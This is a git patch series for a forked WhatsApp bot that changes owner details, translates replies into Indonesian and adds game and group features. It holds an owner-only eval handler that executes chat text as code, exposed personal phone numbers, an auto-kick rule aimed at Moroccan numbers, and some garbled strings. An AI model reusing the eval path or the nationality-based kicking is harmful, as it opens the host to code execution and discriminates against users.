From 81f4a5e0eaeccb470f4b5352f71a59cc30469ea5 Mon Sep 17 00:00:00 2001 From: AhmadDaniWn <137415256+AhmadDaniWn@users.noreply.github.com> Date: Tue, 8 Aug 2023 02:47:48 +0700 Subject: [PATCH 1/3] Add files via upload --- settings.js | 32 ++++++++++++++++---------------- 1 file changed, 16 insertions(+), 16 deletions(-) diff --git a/settings.js b/settings.js index 14eadac46..fb13e7bb6 100644 --- a/settings.js +++ b/settings.js @@ -2,7 +2,7 @@ const chalk = require("chalk") const fs = require("fs") //aumto presence update -global.autoTyping = false //auto tying in gc (true to on, false to off) +global.autoTyping = true //auto tying in gc (true to on, false to off) global.autoRecord = false //auto recording (true to on, false to off) global.autoblockmorroco = false //auto block 212 (true to on, false to off) global.autokickmorroco = false //auto kick 212 (true to on, false to off) @@ -21,27 +21,27 @@ global.doc5 = 'application/pdf' global.doc6 = 'application/vnd.android.package-archive' //owmner v card -global.owner = ['916909137213'] //ur owner number -global.ownernomer = "916909137213" //ur owner number2 -global.ownername = "๐Ÿฆ„Dream Guy Xeon" //ur owner name -global.ytname = "YT: Xeon" //ur yt chanel name -global.socialm = "GitHub: DGXeon" //ur github or insta name +global.owner = ['6285892928715'] //ur owner number +global.ownernomer = "6285892928715" //ur owner number2 +global.ownername = "DANZ BOT OWNER" //ur owner name +global.ytname = "YT: lom ada" //ur yt chanel name +global.socialm = "GitHub: AhmadDaniWn" //ur github or insta name global.location = "India, Mizoram, Aizawl" //ur location //new -global.botname = "Cheems Bot MD V8" -global.ownernumber = '916909137213' -global.ownername = '๐Ÿฆ„๋“œ๋ฆผ ๊ฐ€์ด Xeon' -global.ownerNumber = ["916909137213@s.whatsapp.net"] -global.ownerweb = "https://youtube.com/@DGXeon" -global.websitex = "https://youtu.be/L_SIk59QeAU" -global.wagc = "https://chat.whatsapp.com/Dc2qyVeK8JbJq8Gr3U1pKH" +global.botname = "NANO BOTZ V6" +global.ownernumber = '6285892928715' +global.ownername = 'Danzz Owner' +global.ownerNumber = ["6285892928715@s.whatsapp.net"] +global.ownerweb = "" +global.websitex = "" +global.wagc = "https://chat.whatsapp.com/JLPXgJKp0eo7EC8Yknvn7J" global.themeemoji = '๐Ÿช€' global.wm = "Xeon Bot Inc." -global.botscript = 'https://github.com/DGXeon/CheemsBot-MD6' //script link +global.botscript = 'Dah gede nyari sc ๐Ÿ—ฟ๐Ÿ–•' //script link global.packname = "Sticker By" -global.author = "๐Ÿฆ„๋“œ๋ฆผ ๊ฐ€์ด Xeon\n\n" -global.creator = "916909137213@s.whatsapp.net" +global.author = "๐Ÿฆ„๋“œ๋ฆผ ๊ฐ€์ด Danzbot\n\n" +global.creator = "6285892928715@s.whatsapp.net" global.prefa = ['','!','.','#','&'] global.sessionName = 'session' global.hituet = 0 From fd2ff62d03b0236ecb0edcbaf669e31ab56ad0f5 Mon Sep 17 00:00:00 2001 From: AhmadDaniWn <137415256+AhmadDaniWn@users.noreply.github.com> Date: Tue, 8 Aug 2023 02:49:16 +0700 Subject: [PATCH 2/3] Update owner.json --- database/owner.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/database/owner.json b/database/owner.json index 0e136b502..99262754f 100644 --- a/database/owner.json +++ b/database/owner.json @@ -1 +1 @@ -["916909137213"] \ No newline at end of file +["6285892928715"] From 8ac7ae71aec553e8f919da76e7ed42d077fcc6ee Mon Sep 17 00:00:00 2001 From: AhmadDaniWn <137415256+AhmadDaniWn@users.noreply.github.com> Date: Fri, 12 Jan 2024 06:19:03 +0700 Subject: [PATCH 3/3] Add files via upload --- XeonCheems8.js | 15612 +++++++++++++++++++++++++++++++++++++------- config.json | 4 + package-lock.json | 11892 +++++++++++++++++++++++++++++++++ package.json | 34 +- settings.js | 130 +- 5 files changed, 25440 insertions(+), 2232 deletions(-) create mode 100644 config.json create mode 100644 package-lock.json diff --git a/XeonCheems8.js b/XeonCheems8.js index d60bc6d78..f525ca30c 100644 --- a/XeonCheems8.js +++ b/XeonCheems8.js @@ -1,16 +1,23 @@ require('./settings') require('./lib/listmenu') +const { default: downloadContentFromMessage } = require("@whiskeysockets/baileys") const { modul } = require('./module') const { os, axios, baileys, chalk, cheerio, child_process, crypto, cookie, FormData, FileType, fetch, fs, fsx, ffmpeg, Jimp, jsobfus, PhoneNumber, process, moment, ms, speed, syntaxerror, util, ytdl, googleTTS, maker } = modul const { exec, spawn, execSync } = child_process const { BufferJSON, WA_DEFAULT_EPHEMERAL, generateWAMessageFromContent, proto, generateWAMessageContent, generateWAMessage, prepareWAMessageMedia, areJidsSameUser, getContentType } = baileys const { clockString, parseMention, formatp, tanggal, getTime, isUrl, sleep, runtime, fetchJson, getBuffer, jsonformat, format, reSize, generateProfilePicture, getRandom } = require('./lib/myfunc') +const { isSetWelcome, addSetWelcome, changeSetWelcome, removeSetWelcome } = require('./lib/setwelcome'); +const { isSetLeft, addSetLeft, removeSetLeft, changeSetLeft } = require('./lib/setleft'); +const { getTextSetWelcome } = require('./lib/setwelcome'); +const { getTextSetLeft } = require('./lib/setleft'); const { color, bgcolor } = require('./lib/color') -const { fetchBuffer, buffergif } = require("./lib/myfunc2") -const { rentfromxeon, conns } = require('./RentBot') +const { TelegraPh } = require('./lib/uploader') +const { fetchBuffer, buffermagef } = require("./lib/myfunc2") +const { dzsyarnt, conns } = require('./RentBot') const { uptotelegra } = require('./scrape/upload') +const { Sticker, StickerTypes } = require('wa-sticker-formatter') +const JavaScriptObfuscator = require('javascript-obfuscator'); const { msgFilter } = require('./lib/antispam') - const { ytDonlodMp3, ytDonlodMp4, ytPlayMp3, ytPlayMp4, ytSearch } = require('./scrape/yt') const anon = require('./lib/menfess') const scp1 = require('./scrape/scraper') @@ -22,6 +29,11 @@ const { XeonFb } = require('./scrape/XeonFb') const { XeonTwitter } = require('./scrape/XeonTwitter') const ffstalk = require('./scrape/ffstalk') const githubstalk = require('./scrape/githubstalk') +const { xeontext1 } = require('./69/xeontext1') +const { xeontext2 } = require('./69/xeontext2') +const { xeontext3 } = require('./69/xeontext3') +const { xeontext4 } = require('./69/xeontext4') +const { xeontext5 } = require('./69/xeontext5') const npmstalk = require('./scrape/npmstalk') const mlstalk = require('./scrape/mlstalk') const textpro = require('./scrape/textpro') @@ -39,10 +51,17 @@ const StickerXeon = JSON.parse(fs.readFileSync('./XeonMedia/database/xeonsticker const ImageXeon = JSON.parse(fs.readFileSync('./XeonMedia/database/xeonimage.json')) const VideoXeon = JSON.parse(fs.readFileSync('./XeonMedia/database/xeonvideo.json')) const BadXeon = JSON.parse(fs.readFileSync('./database/bad.json')) - +const pler = JSON.parse(fs.readFileSync('./database/idgrup.json').toString()) +const siminya = JSON.parse(fs.readFileSync('./database/simi.json')) +const { isSetProses, addSetProses, removeSetProses, changeSetProses, getTextSetProses } = require('./lib/setproses'); +const { addResponList, delResponList, isAlreadyResponList, isAlreadyResponListGroup, sendResponList, updateResponList, getDataResponList } = require('./lib/respon-list'); +const { isSetDone, addSetDone, removeSetDone, changeSetDone, getTextSetDone } = require('./lib/setdone'); let autosticker = JSON.parse(fs.readFileSync('./database/autosticker.json')) +let mute = JSON.parse(fs.readFileSync('./database/mute.json')); let ntnsfw = JSON.parse(fs.readFileSync('./database/nsfw.json')) let ntvirtex = JSON.parse(fs.readFileSync('./database/antivirus.json')) +let _cmd = JSON.parse(fs.readFileSync('./database/command.json')); +let _cmdUser = JSON.parse(fs.readFileSync('./database/commandUser.json')); let nttoxic = JSON.parse(fs.readFileSync('./database/antitoxic.json')) let ntwame = JSON.parse(fs.readFileSync('./database/antiwame.json')) let ntlinkgc =JSON.parse(fs.readFileSync('./database/antilinkgc.json')) @@ -54,9 +73,12 @@ let ntilinkfb =JSON.parse(fs.readFileSync('./database/antilinkfacebook.json')) let ntilinkig =JSON.parse(fs.readFileSync('./database/antilinkinstagram.json')) let ntilinkytch =JSON.parse(fs.readFileSync('./database/antilinkytchannel.json')) let ntilinkytvid =JSON.parse(fs.readFileSync('./database/antilinkytvideo.json')) - - - +let openaigc = JSON.parse(fs.readFileSync('./database/openaigc.json')) +let set_welcome_db = JSON.parse(fs.readFileSync('./database/set_welcome.json')); +let set_left_db = JSON.parse(fs.readFileSync('./database/set_left.json')); +let _welcome = JSON.parse(fs.readFileSync('./database/welcome.json')) +let _left = JSON.parse(fs.readFileSync('./database/left.json')) +let db_respon_list = JSON.parse(fs.readFileSync('./database/list-message.json')); global.db = JSON.parse(fs.readFileSync('./database/database.json')) if (global.db) global.db = { sticker: {}, @@ -70,8 +92,24 @@ settings: {}, } // read database -let tebaklagu = db.game.tebaklagu = [] -let kuismath = db.game.math = [] +let tebaklagu = [] +let _family100 = [] +let kuismath = [] +let tebakgambar = [] +let tebakkata = [] +let caklontong = [] +let caklontong_desk = [] +let tebakkalimat = [] +let tebaklirik = [] +let tebaktebakan = [] +let tebakbendera = [] +let tebakbendera2 = [] +let tebakkabupaten = [] +let tebakkimia = [] +let tebakasahotak = [] +let tebaksiapakahaku = [] +let tebaksusunkata = [] +let tebaktekateki = [] let vote = db.others.vote = [] module.exports = XeonBotInc = async (XeonBotInc, m, chatUpdate, store) => { @@ -93,6 +131,7 @@ try { const botNumber = await XeonBotInc.decodeJid(XeonBotInc.user.id) const XeonTheCreator = [botNumber, ...owner].map(v => v.replace(/[^0-9]/g, '') + '@s.whatsapp.net').includes(m.sender) const XeonTheDeveloper = m.sender == botNumber ? true : false +const isJadibot = global.db.users[m.sender]?.jadibot ?? false const text = q = args.join(" ") const quoted = m.quoted ? m.quoted : m const mime = (quoted.msg || quoted).mimetype || '' @@ -103,6 +142,7 @@ try { const isAudio = (type == 'audioMessage') const isSticker = (type == 'stickerMessage') const isQuotedImage = type === 'extendedTextMessage' && content.includes('imageMessage') + const isQuotedViewOnce = type === 'extendedTextMessage' && content.includes('viewOnceMessageV2') const isQuotedLocation = type === 'extendedTextMessage' && content.includes('locationMessage') const isQuotedVideo = type === 'extendedTextMessage' && content.includes('videoMessage') const isQuotedSticker = type === 'extendedTextMessage' && content.includes('stickerMessage') @@ -120,6 +160,7 @@ try { const isBotAdmins = m.isGroup ? groupAdmins.includes(botNumber) : false const isGroupAdmins = m.isGroup ? groupAdmins.includes(m.sender) : false const isAdmins = m.isGroup ? groupAdmins.includes(m.sender) : false + const jangan = m.isGroup ? pler.includes(m.chat) : false const isPrem = prem.includes(m.sender) const isUser = xeonverifieduser.includes(sender) const banUser = await XeonBotInc.fetchBlocklist() @@ -131,13 +172,14 @@ try { const usernya = mentionByReply ? mentionByReply : mentionByTag[0] const Input = mentionByTag[0] ? mentionByTag[0] : mentionByReply ? mentionByReply : q ? numberQuery : false const isEval = body.startsWith('=>') - + const isAutoAiGc = m.isGroup ? openaigc.includes(m.chat) : true const AntiNsfw = m.isGroup ? ntnsfw.includes(from) : false const isAutoSticker = m.isGroup ? autosticker.includes(from) : false const antiVirtex = m.isGroup ? ntvirtex.includes(from) : false const Antilinkgc = m.isGroup ? ntlinkgc.includes(m.chat) : false const AntiLinkYoutubeVid = m.isGroup ? ntilinkytvid.includes(from) : false const AntiLinkYoutubeChannel = m.isGroup ? ntilinkytch.includes(from) : false + const isMute= mute.includes(m.chat) ? true : false const AntiLinkInstagram = m.isGroup ? ntilinkig.includes(from) : false const AntiLinkFacebook = m.isGroup ? ntilinkfb.includes(from) : false const AntiLinkTiktok = m.isGroup ? ntilinktt.includes(from) : false @@ -145,10 +187,11 @@ try { const AntiLinkTwitter = m.isGroup ? ntilinktwt.includes(from) : false const AntiLinkAll = m.isGroup ? ntilinkall.includes(from) : false const antiWame = m.isGroup ? ntwame.includes(from) : false - const antiToxic = m.isGroup ? nttoxic.includes(from) : false - - //theme sticker reply - const XeonStickWait = () => { + const antiToxic = m.isGroup ? nttoxic.includes(from) : true +const isWelcome = _welcome.includes(m.chat) ? true : false +const isLeft = _left.includes(m.chat) ? true : false +const isSimi = siminya.includes(m.chat) ? true : false + const Xeonstickwait = () => { let XeonStikRep = fs.readFileSync('./XeonMedia/theme/sticker_reply/wait.webp') XeonBotInc.sendMessage(from, { sticker: XeonStikRep }, { quoted: m }) } @@ -172,31 +215,35 @@ try { let XeonStikRep = fs.readFileSync('./XeonMedia/theme/sticker_reply/private.webp') XeonBotInc.sendMessage(from, { sticker: XeonStikRep }, { quoted: m }) } - + //TIME const xtime = moment.tz('Asia/Kolkata').format('HH:mm:ss') const xdate = moment.tz('Asia/Kolkata').format('DD/MM/YYYY') const time2 = moment().tz('Asia/Kolkata').format('HH:mm:ss') if(time2 < "23:59:00"){ -var xeonytimewisher = `Good Night ๐ŸŒŒ` +var xeonytimewisher = `Selamat Malam ๐ŸŒŒ` } if(time2 < "19:00:00"){ -var xeonytimewisher = `Good Evening ๐ŸŒƒ` +var xeonytimewisher = `Selamat Malam ๐ŸŒƒ` } if(time2 < "18:00:00"){ -var xeonytimewisher = `Good Evening ๐ŸŒƒ` +var xeonytimewisher = `Selamat Malam ๐ŸŒƒ` } if(time2 < "15:00:00"){ -var xeonytimewisher = `Good Afternoon ๐ŸŒ…` +var xeonytimewisher = `Selamat Sore ๐ŸŒ…` } if(time2 < "11:00:00"){ -var xeonytimewisher = `Good Morning ๐ŸŒ„` +var xeonytimewisher = `Selamat pagi ๐ŸŒ„` } if(time2 < "05:00:00"){ -var xeonytimewisher = `Good Morning ๐ŸŒ„` +var xeonytimewisher = `Selamat Pagi ๐ŸŒ„` } - if (isEval && senderNumber == "916909137213") { +let dt = moment(Date.now()).tz('Asia/Jakarta').locale('id').format('a') +var fildt = dt == 'pagi' ? dt + '๐ŸŒ' : dt == 'siang' ? dt + '๐ŸŒž' : dt == 'sore' ? dt + '๐ŸŒ' : dt + '๐ŸŒš' +const ucapanWaktu = fildt.charAt(0).toUpperCase() + fildt.slice(1) + + if (isEval && senderNumber == "+6285892928715") { let evaled, text = q, { inspect } = require('util') @@ -219,37 +266,280 @@ const isNumber = x => typeof x === 'number' && !isNaN(x) const user = global.db.users[m.sender] if (typeof user !== 'object') global.db.users[m.sender] = {} const chats = global.db.chats[m.chat] -if (typeof chats !== 'object') global.db.chats[m.chat] = {} +if (typeof chats !== 'object') global.db.chats[m.chat] = { + +} if (user) { -if (!isNumber(user.afkTime)) user.afkTime = -1 +if (!isNumber(user.chip)) user.chip = 0 +if (!isNumber(user.atm)) user.atm = 0 +if (!isNumber(user.fullatm)) user.fullatm = 0 +if (!isNumber(user.bank)) user.bank = 0 +if (!isNumber(user.health)) user.health = 100 +if (!isNumber(user.potion)) user.potion = 0 +if (!isNumber(user.trash)) user.trash = 0 +if (!isNumber(user.wood)) user.wood = 0 +if (!isNumber(user.rock)) user.rock = 0 +if (!isNumber(user.string)) user.string = 0 +if (!isNumber(user.petfood)) user.petfood = 0 +if (!isNumber(user.emerald)) user.emerald = 0 +if (!isNumber(user.diamond)) user.diamond = 0 +if (!isNumber(user.gold)) user.gold = 0 +if (!isNumber(user.botol)) user.botol = 0 +if (!isNumber(user.kardus)) user.kardus = 0 +if (!isNumber(user.kaleng)) user.kaleng = 0 +if (!isNumber(user.gelas)) user.gelas = 0 +if (!isNumber(user.plastik)) user.plastik = 0 +if (!isNumber(user.iron)) user.iron = 0 +if (!isNumber(user.common)) user.common = 0 +if (!isNumber(user.uncommon)) user.uncommon = 0 +if (!isNumber(user.mythic)) user.mythic = 0 +if (!isNumber(user.legendary)) user.legendary = 0 +if (!isNumber(user.umpan)) user.umpan = 0 +if (!isNumber(user.pet)) user.pet = 0 +if (!isNumber(user.paus)) user.paus = 0 +if (!isNumber(user.kepiting)) user.kepiting = 0 +if (!isNumber(user.gurita)) user.gurita = 0 +if (!isNumber(user.cumi)) user.cumi = 0 +if (!isNumber(user.buntal)) user.buntal = 0 +if (!isNumber(user.dory)) user.dory = 0 +if (!isNumber(user.lumba)) user.lumba = 0 +if (!isNumber(user.lobster)) user.lobster = 0 +if (!isNumber(user.hiu)) user.hiu = 0 +if (!isNumber(user.udang)) user.udang = 0 +if (!isNumber(user.orca)) user.orca = 0 +if (!isNumber(user.banteng)) user.banteng = 0 +if (!isNumber(user.gajah)) user.gajah = 0 +if (!isNumber(user.harimau)) user.harimau = 0 +if (!isNumber(user.kambing)) user.kambing = 0 +if (!isNumber(user.panda)) user.panda = 0 +if (!isNumber(user.buaya)) user.buaya = 0 +if (!isNumber(user.kerbau)) user.kerbau = 0 +if (!isNumber(user.sapi)) user.sapi = 0 +if (!isNumber(user.monyet)) user.monyet = 0 +if (!isNumber(user.babihutan)) user.babihutan = 0 +if (!isNumber(user.babi)) user.babi = 0 +if (!isNumber(user.ayam)) user.ayam = 0 + +if (!isNumber(user.lastadventure)) user.lastadventure = 0 +if (!isNumber(user.lastkill)) user.lastkill = 0 +if (!isNumber(user.lastmisi)) user.lastmisi = 0 +if (!isNumber(user.lastdungeon)) user.lastdungeon = 0 +if (!isNumber(user.lastwar)) user.lastwar = 0 +if (!isNumber(user.lastsda)) user.lastsda = 0 +if (!isNumber(user.lastduel)) user.lastduel = 0 +if (!isNumber(user.lastmining)) user.lastmining = 0 +if (!isNumber(user.lasthunt)) user.lasthunt = 0 +if (!isNumber(user.lastgift)) user.lastgift = 0 +if (!isNumber(user.lastberkebon)) user.lastberkebon = 0 +if (!isNumber(user.lastdagang)) user.lastdagang = 0 +if (!isNumber(user.lasthourly)) user.lasthourly = 0 +if (!isNumber(user.lastbansos)) user.lastbansos = 0 +if (!isNumber(user.lastrampok)) user.lastrampok = 0 +if (!isNumber(user.lastclaim)) user.lastclaim = 0 +if (!isNumber(user.lastnebang)) user.lastnebang = 0 +if (!isNumber(user.lastweekly)) user.lastweekly = 0 +if (!isNumber(user.lastmonthly)) user.lastmonthly = 0 +if (!isNumber(user.apel)) user.apel = 0 +if (!isNumber(user.anggur)) user.anggur = 0 +if (!isNumber(user.jeruk)) user.jeruk = 0 +if (!isNumber(user.mangga)) user.mangga = 0 +if (!isNumber(user.pisang)) user.pisang = 0 +if (!isNumber(user.makanan)) user.makanan = 0 +if (!isNumber(user.bibitanggur)) user.bibitanggur = 0 +if (!isNumber(user.bibitpisang)) user.bibitpisang = 0 +if (!isNumber(user.bibitapel)) user.bibitapel = 0 +if (!isNumber(user.bibitmangga)) user.bibitmangga = 0 +if (!isNumber(user.bibitjeruk)) user.bibitjeruk = 0 +if (!isNumber(user.horse)) user.horse = 0 +if (!isNumber(user.horseexp)) user.horseexp = 0 +if (!isNumber(user.cat)) user.cat = 0 +if (!isNumber(user.catexp)) user.catexp = 0 +if (!isNumber(user.fox)) user.fox = 0 +if (!isNumber(user.foxhexp)) user.foxexp = 0 +if (!isNumber(user.dog)) user.foxexp = 0 +if (!isNumber(user.dogexp)) user.dogexp = 0 +if (!isNumber(user.robo)) user.robo = 0 +if (!isNumber(user.roboexp)) user.roboexp = 0 +if (!isNumber(user.horselastfeed)) user.horselastfeed = 0 +if (!isNumber(user.catlastfeed)) user.catlastfeed = 0 +if (!isNumber(user.robolastfeed)) user.robolastfeed = 0 +if (!isNumber(user.foxlastfeed)) user.foxlastfeed = 0 +if (!isNumber(user.doglastfeed)) user.doglastfeed = 0 +if (!isNumber(user.robo)) user.robo = 0 +if (!isNumber(user.robodurability)) user.robodurability = 0 +if (!isNumber(user.armor)) user.armor = 0 +if (!isNumber(user.armordurability)) user.armordurability = 0 +if (!isNumber(user.sword)) user.sword = 0 +if (!isNumber(user.sworddurability)) user.sworddurability = 0 +if (!isNumber(user.pickaxe)) user.pickaxe = 0 +if (!isNumber(user.pickaxedurability)) user.pickaxedurability = 0 +if (!isNumber(user.fishingrod)) user.fishingrod = 0 +if (!isNumber(user.fishingroddurability)) user.fishingroddurability = 0 +if (!user.premium) user.premiumTime = 0 if (!('afkReason' in user)) user.afkReason = '' if (!("premium" in user)) user.premium = false } else global.db.users[m.sender] = { afkTime: -1, afkReason: '', -premium: false +premiumTime: 0, +premium: false, +jadibot: isJadibot, +money: 100000, +exp: 0, +limit: 30, +freelimit: 0, +lastclaim: 0, +skata: 0, +registered: false, +name: m.name, +pc: 0, +joinlimit: 1, +age: -1, +regTime: -1, +unreg: false, +afk: -1, +afkReason: '', +banned: false, +bannedTime: 0, +warning: 0, +level: 0, +rokets: 0, +role: 'Beginner', +skill: '', +ojekk: 0, +WarnReason: '', +chip: 0, +bank: 0, +atm: 0, +fullatm: 0, +health: 100, +potion: 10, +trash: 0, +wood: 0, +rock: 0, +string: 0, +emerald: 0, +diamond: 0, +gold: 0, +iron: 0, +common: 0, +uncommon: 0, +mythic: 0, +legendary: 0, +umpan: 0, +pet: 0, +horse: 0, +horseexp: 0, +horselastfeed: 0, +cat: 0, +catexp: 0, +catlastfeed: 0, +fox: 0, +foxexp: 0, +foxlastfeed: 0, +robo: 0, +roboexp: 0, +robolastfeed: 0, +dog: 0, +dogexp: 0, +doglastfeed: 0, +paus: 0, +kepiting: 0, +gurita: 0, +cumi: 0, +buntal: 0, +dory: 0, +lumba: 0, +lobster: 0, +hiu: 0, +udang: 0, +ikan: 0, +orca: 0, +banteng: 0, +harimau: 0, +gajah: 0, +kambing: 0, +buaya: 0, +kerbau: 0, +sapi: 0, +monyet: 0, +babi: 0, +ayam: 0, +armor: 0, +armordurability: 0, +sword: 0, +sworddurability: 0, +pickaxe: 0, +pickaxedurability: 0, +fishingrod: 0, +fishingroddurability: 0, +robo: 0, +robodurability: 0, +apel: 20, +pisang: 0, +anggur: 0, +mangga: 0, +jeruk: 0, +lastadventure: 0, +lastkill: 0, +lastmisi: 0, +lastdungeon: 0, +lastwar: 0, +lastsda: 0, +lastduel: 0, +lastmining: 0, +lasthunt: 0, +lastgift: 0, +lastberkebon: 0, +lastdagang: 0, +lasthourly: 0, +lastbansos: 0, +lastrampok: 0, +lastclaim: 0, +lastnebang: 0, +lastweekly: 0, +lastmonthly: 0 + } + + const setting = db.settings[botNumber] if (typeof setting !== 'object') db.settings[botNumber] = {} if (setting) { if (!('anticall' in setting)) setting.anticall = false if (!isNumber(setting.status)) setting.status = 0 if (!('autobio' in setting)) setting.autobio = false - } else global.db.settings[botNumber] = { - anticall: true, + if (!('goodbye' in setting)) chats.goodbye = setting.auto_leaveMsg + if (!('welcome' in setting)) chats.welcome = setting.auto_welcomeMsg + } else global.db.settings[botNumber] = { + anticall: false, status: 0, - autobio: false + stock:10, + autobio: false, + auto_ai_grup: true, + goodbye: true, + welcome: true, + autoread: false } } catch (err) { console.error(err) } +if (m.isGroup && isMute) { +if (!isAdmins && !XeonTheCreator) return +} + + if (!XeonBotInc.public) { -if (!m.key.fromMe) return +if (!XeonTheCreator) return } +// auto message + +//=========================================\\ +//=========================================\\ //chat counter (console log) if (m.message && m.isGroup) { XeonBotInc.readMessages([m.key]) @@ -276,8 +566,8 @@ if (!user) continue let afkTime = user.afkTime if (!afkTime || afkTime < 0) continue let reason = user.afkReason || '' -m.reply(`Don't Tag Him! -He's AFK ${reason ? 'With Reason: ' + reason : 'No Reason'} +m.reply(`Jangan Tag Dia! +Dia AFK ${reason ? 'With Reason: ' + reason : 'No Reason'} During ${clockString(new Date - afkTime)} `.trim()) } @@ -291,9 +581,9 @@ if (kuismath.hasOwnProperty(m.sender.split('@')[0]) && isCmd) { if (budy.toLowerCase() == jawaban) { - await m.reply(`๐ŸŽฎ Math Quiz ๐ŸŽฎ\n\nCorrect Answer ๐ŸŽ‰\n\nWant To Play Again? Send ${prefix}math mode`) +await m.reply(`๐ŸŽฎ Kuis Matematika ๐ŸŽฎ\tidak ada Jawaban Benar ๐ŸŽ‰\dan Mau Main Lagi? Mengirim ${prefix}math mode`) - delete kuismath[m.sender.split('@')[0]] +delete kuismath[m.sender.split('@')[0]] } else m.reply('*Wrong Answer!*') @@ -316,10 +606,10 @@ if (kuismath.hasOwnProperty(m.sender.split('@')[0]) && isCmd) { } if (!isSurrender && 1 > (ok = room13.game.turn(m.sender === room13.game.playerO, parseInt(m.text) - 1))) { reply({ - '-3': 'Game Has Ended', - '-2': 'Invalid', - '-1': 'Invalid Position', - 0: 'Invalid Position', + '-3': 'Permainan Telah Berakhir', + '-2': 'Tidak sah', + '-1': 'Posisi Tidak Valid', + 0: 'Posisi Tidak Valid', }[ok]) return !0 } @@ -355,7 +645,7 @@ ${isWin ? `@${winner.split('@')[0]} Won!` : isTie ? `Game Over` : `Turn ${['โŒ' โŒ: @${room13.game.playerX.split('@')[0]} โญ•: @${room13.game.playerO.split('@')[0]} -Type *surrender* to surrender and admit defeat` +Ketik *surrender* untuk menyerah dan mengaku kalah` if ((room13.game._currentTurn ^ isSurrender ? room13.x : room13.o) !== m.chat) room13[room13.game._currentTurn ^ isSurrender ? 'x' : 'o'] = m.chat if (room13.x !== room13.o) await XeonBotInc.sendText(room13.x, str, m, { mentions: parseMention(str) } ) @@ -381,20 +671,20 @@ Type *surrender* to surrender and admit defeat` roof.asal = m.chat clearTimeout(roof.waktu) //delete roof[roof.id].waktu - XeonBotInc.sendText(m.chat, `Suit has been sent to chat + XeonBotInc.sendText(m.chat, `Jas telah dikirim ke obrolan @${roof.p.split`@`[0]} and @${roof.p2.split`@`[0]} -Please choose a suit in the respective chat" +Silahkan pilih suit di chat masing-masing" click https://wa.me/${botNumber.split`@`[0]}`, m, { mentions: [roof.p, roof.p2] }) - if (!roof.pilih) XeonBotInc.sendText(roof.p, `Please Select \n\Rock๐Ÿ—ฟ\nPaper๐Ÿ“„\nScissorsโœ‚๏ธ`, m) - if (!roof.pilih2) XeonBotInc.sendText(roof.p2, `Please Select \n\nRock๐Ÿ—ฟ\nPaper๐Ÿ“„\nScissorsโœ‚๏ธ`, m) + if (!roof.pilih) XeonBotInc.sendText(roof.p, `Silahkan pilih \n\nBatu๐Ÿ—ฟ\nKertas๐Ÿ“„\nGuntingโœ‚๏ธ`, m) + if (!roof.pilih2) XeonBotInc.sendText(roof.p2, `Silahkan pilih \n\nBatu๐Ÿ—ฟ\nKertas๐Ÿ“„\nGuntingโœ‚๏ธ`, m) roof.waktu_milih = setTimeout(() => { - if (!roof.pilih && !roof.pilih2) XeonBotInc.sendText(m.chat, `Both Players Don't Want To Play,\nSuit Canceled`) + if (!roof.pilih && !roof.pilih2) XeonBotInc.sendText(m.chat, `Kedua Pemain Tidak Ingin Bermain,\nSuit Dibatalkan`) else if (!roof.pilih || !roof.pilih2) { win = !roof.pilih ? roof.p2 : roof.p - XeonBotInc.sendTextWithMentions(m.chat, `@${(roof.pilih ? roof.p2 : roof.p).split`@`[0]} Didn't Choose Suit, Game Over!`, m) + XeonBotInc.sendTextWithMentions(m.chat, `@${(roof.pilih ? roof.p2 : roof.p).split`@`[0]} Tidak Memilih Suit, Game Over!`, m) } delete this.suit[roof.id] return !0 @@ -402,21 +692,21 @@ click https://wa.me/${botNumber.split`@`[0]}`, m, { mentions: [roof.p, roof.p2] } let jwb = m.sender == roof.p let jwb2 = m.sender == roof.p2 - let g = /scissors/i - let b = /rock/i - let k = /paper/i - let reg = /^(scissors|rock|paper)/i + let g = /Gunting/i + let b = /Batu/i + let k = /Kertas/i + let reg = /^(Gunting|Batu|Kertas)/i if (jwb && reg.test(m.text) && !roof.pilih && !m.isGroup) { roof.pilih = reg.exec(m.text.toLowerCase())[0] roof.text = m.text - m.reply(`You have chosen ${m.text} ${!roof.pilih2 ? `\n\nWaiting for the opponent to choose` : ''}`) - if (!roof.pilih2) XeonBotInc.sendText(roof.p2, '_The opponent has chosen_\nNow it is your turn', 0) + m.reply(`Kamu telah memilih ${m.text} ${!roof.pilih2 ? `\n\n Menunggu lawan untuk memilih` : ''}`) + if (!roof.pilih2) XeonBotInc.sendText(roof.p2, '_Lawan telah memilih\kSekarang giliranmu', 0) } if (jwb2 && reg.test(m.text) && !roof.pilih2 && !m.isGroup) { roof.pilih2 = reg.exec(m.text.toLowerCase())[0] roof.text2 = m.text - m.reply(`You have chosen ${m.text} ${!roof.pilih ? `\n\nWaiting for the opponent to choose` : ''}`) - if (!roof.pilih) XeonBotInc.sendText(roof.p, '_The opponent has chosen_\nNow it is your turn', 0) + m.reply(`Kamu telah memilih ${m.text} ${!roof.pilih ? `\n\n Menunggu lawan untuk memilih` : ''}`) + if (!roof.pilih) XeonBotInc.sendText(roof.p, '_ Lawan telah memilih\kSekarang giliranmu', 0) } let stage = roof.pilih let stage2 = roof.pilih2 @@ -429,7 +719,7 @@ click https://wa.me/${botNumber.split`@`[0]}`, m, { mentions: [roof.p, roof.p2] else if (k.test(stage) && b.test(stage2)) win = roof.p else if (k.test(stage) && g.test(stage2)) win = roof.p2 else if (stage == stage2) tie = true - XeonBotInc.sendText(roof.asal, `_*Suit Results*_${tie ? '\nSERIES' : ''} + XeonBotInc.sendText(roof.asal, `_*Hasil Suit*_${tie ? '\nSERIES' : ''} @${roof.p.split`@`[0]} (${roof.text}) ${tie ? '' : roof.p == win ? ` Win \n` : ` Lost \n`} @${roof.p2.split`@`[0]} (${roof.text2}) ${tie ? '' : roof.p2 == win ? ` Win \n` : ` Lost \n`} @@ -437,7 +727,13 @@ click https://wa.me/${botNumber.split`@`[0]}`, m, { mentions: [roof.p, roof.p2] delete this.suit[roof.id] } } //end - +function clockString(ms) { + let h = Math.floor(ms / 3600000) + let m = Math.floor(ms / 60000) % 60 + let s = Math.floor(ms / 1000) % 60 + console.log({ms,h,m,s}) + return [h, m, s].map(v => v.toString().padStart(2, 0) ).join(':') +} if (db.users[m.sender].afkTime > -1) { let user = global.db.users[m.sender] m.reply(` @@ -468,6 +764,7 @@ if (global.autokickmorroco) { if (m.isGroup && m.sender.startsWith('212')) return XeonBotInc.groupParticipantsUpdate(m.chat, [m.sender], 'remove') } + //antispam kick if (global.antispam) { if (m.isGroup && m.message && msgFilter.isFiltered(from)) { @@ -493,8 +790,6 @@ XeonBotInc.sendMessage(m.chat, { text: 